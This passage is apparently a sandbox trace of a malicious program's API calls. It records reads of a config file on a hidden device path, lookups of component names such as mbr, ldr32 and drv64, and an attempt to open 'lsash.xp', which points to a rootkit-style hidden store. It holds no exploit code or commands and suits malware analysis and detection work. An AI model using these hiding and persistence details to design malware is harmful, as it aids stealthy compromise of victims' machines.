IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.756] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.756] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.756] IdePortDispatch () returned 0x103 [0120.756] KeWaitForMutexObject () returned 0x0 [0120.756] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.756] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.756] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.756] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.756] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.756] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.756] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.756] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.756] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.756] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.756] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.756] KeLeaveCriticalRegion () [0120.756] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.757] ReleaseMutex (hMutex=0x100) returned 1 [0120.757] Sleep (dwMilliseconds=0x2bf20) [0120.763] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6b2c8bb0, dwHighDateTime=0x1d24fa4)) [0120.763] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.763] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.763] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.763] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.763] KeEnterCriticalRegion () [0120.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.763] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.763] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.763] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.763] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.763] IdePortDispatch () returned 0x103 [0120.763] KeWaitForMutexObject () returned 0x0 [0120.763] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.763] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.763] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.763] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.763] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.763] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bba1b0 [0120.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.763] KeLeaveCriticalRegion () [0120.763] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.763] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.763] KeEnterCriticalRegion () [0120.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.764] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.764] KeLeaveCriticalRegion () [0120.764] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.764] KeEnterCriticalRegion () [0120.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.764] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.764] IdePortDispatch () returned 0x103 [0120.764] KeWaitForMutexObject () returned 0x0 [0120.764] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.764] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.764] KeLeaveCriticalRegion () [0120.764] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.764] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.764] KeEnterCriticalRegion () [0120.764] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.764] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d7000 [0120.764] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.764] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.764] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.764] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.764] IdePortDispatch () returned 0x103 [0120.765] KeWaitForMutexObject () returned 0x0 [0120.765] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.765] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.765] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.765] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.765] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.765] IdePortDispatch () returned 0x103 [0120.765] KeWaitForMutexObject () returned 0x0 [0120.765] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.765] KeLeaveCriticalRegion () [0120.765] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.766] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.766] KeEnterCriticalRegion () [0120.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.766] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.766] KeLeaveCriticalRegion () [0120.766] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.766] KeEnterCriticalRegion () [0120.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.766] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.766] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbbdd0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.766] KeLeaveCriticalRegion () [0120.766] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.766] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.766] KeEnterCriticalRegion () [0120.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.766] ExFreePoolWithTag (P=0xfffffa8003bba1b0, Tag=0x0) [0120.766] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.766] KeLeaveCriticalRegion () [0120.766] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.766] ReleaseMutex (hMutex=0xf0) returned 1 [0120.766] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.766] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.766] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.766] KeEnterCriticalRegion () [0120.766] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.766] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.766] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.766] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.766] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.766] IdePortDispatch () returned 0x103 [0120.766] KeWaitForMutexObject () returned 0x0 [0120.766] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.766] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.766] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.766] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.767] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.767] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb0e0 [0120.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.767] KeLeaveCriticalRegion () [0120.767] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.767] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.767] KeEnterCriticalRegion () [0120.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.767] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.767] KeLeaveCriticalRegion () [0120.767] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.767] KeEnterCriticalRegion () [0120.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.767] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.767] IdePortDispatch () returned 0x103 [0120.767] KeWaitForMutexObject () returned 0x0 [0120.767] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.767] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.767] KeLeaveCriticalRegion () [0120.767] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.767] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.767] KeEnterCriticalRegion () [0120.767] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.767] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d8000 [0120.767] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.767] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.767] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.767] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.767] IdePortDispatch () returned 0x103 [0120.767] KeWaitForMutexObject () returned 0x0 [0120.768] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.768] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.768] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.768] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.768] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.768] IdePortDispatch () returned 0x103 [0120.768] KeWaitForMutexObject () returned 0x0 [0120.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.768] KeLeaveCriticalRegion () [0120.768] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.768] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.768] KeEnterCriticalRegion () [0120.768] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.768] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.768] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.768] KeLeaveCriticalRegion () [0120.769] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.769] KeEnterCriticalRegion () [0120.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.769] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.769] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bba470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.769] KeLeaveCriticalRegion () [0120.769] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.769] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.769] KeEnterCriticalRegion () [0120.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.769] ExFreePoolWithTag (P=0xfffffa8003bbb0e0, Tag=0x0) [0120.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.769] KeLeaveCriticalRegion () [0120.769] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.769] ReleaseMutex (hMutex=0xf0) returned 1 [0120.769] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.769] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0120.769] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.769] KeEnterCriticalRegion () [0120.769] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.769] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.769] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.769] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.769] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.769] IdePortDispatch () returned 0x103 [0120.769] KeWaitForMutexObject () returned 0x0 [0120.769] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.769] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.769] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.769] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.769] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.769] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbb750 [0120.769] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.769] KeLeaveCriticalRegion () [0120.769] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.769] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.770] KeEnterCriticalRegion () [0120.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.770] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.770] KeLeaveCriticalRegion () [0120.770] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.770] KeEnterCriticalRegion () [0120.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.770] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.770] IdePortDispatch () returned 0x103 [0120.770] KeWaitForMutexObject () returned 0x0 [0120.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.770] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.770] KeLeaveCriticalRegion () [0120.770] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.770] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.770] KeEnterCriticalRegion () [0120.770] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.770] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034d9000 [0120.770] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.770] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.770] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.770] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.770] IdePortDispatch () returned 0x103 [0120.770] KeWaitForMutexObject () returned 0x0 [0120.770] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.771] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.771] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.771] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.771] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.771] IdePortDispatch () returned 0x103 [0120.771] KeWaitForMutexObject () returned 0x0 [0120.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.771] KeLeaveCriticalRegion () [0120.771] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.771] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.771] KeEnterCriticalRegion () [0120.771] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.771] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.771] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.771] KeLeaveCriticalRegion () [0120.771] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.771] KeEnterCriticalRegion () [0120.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.772] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.772] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbdf20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.772] KeLeaveCriticalRegion () [0120.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.772] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.772] KeEnterCriticalRegion () [0120.772] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.772] ExFreePoolWithTag (P=0xfffffa8003bbb750, Tag=0x0) [0120.772] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.772] KeLeaveCriticalRegion () [0120.772] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.772] ReleaseMutex (hMutex=0xf0) returned 1 [0120.772] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.772] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.772] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, 